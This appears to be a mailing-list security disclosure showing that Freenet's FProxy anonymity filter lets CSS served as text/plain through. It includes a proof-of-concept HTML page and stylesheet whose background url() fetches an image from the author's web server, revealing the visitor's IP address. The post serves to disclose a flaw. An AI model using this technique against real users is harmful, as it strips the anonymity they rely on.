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After reading Cruft's short blurb about external CSS style sheets, I hacked
around to see if FProxy would accept external style sheets.

Inserting the style sheets as *.css doesn't work, because FProxy doesn't
recognise the content-type as safe and trips the anonymity filter.
Inserting them as text/plain does work, though.

In fact, it does work so well that one can specify an external background
image in the stylesheet and FProxy doesn't warn the user. CSS-capable
browsers will parse the stylesheet and fetch the background image from the
WWW server, thus compromising the user's anonymity.

I've inserted two keys to demonstrate this:

freenet:KSK at css_web_bug.txt
freenet:KSK at css_web_bug.html

The demonstration will attempt to contact my site
(http://nightwatch.mine.nu) for the external image.

Here's the files in plaintext for those who don't want their ip to show up
on my server logs:

- --css_web_bug.html--
<html>
<head>
<title>Blah</title>
<link rel="stylesheet" type="text/css" href="/KSK at css_web_bug.txt">
</head>
<body>
<h1>Foo</h1>
Foo
<h2>Bar</h2>
</body>
</html>
- --css_web_bug.html--

- --css_web_bug.txt--
body {
color: white;
background: url(http://nightwatch.mine.nu/graphics/back.gif);
}
- --css_web_bug.txt--

- --
  Mika Hirvonen <hirvox at welho.com>
  http://nightwatch.mine.nu

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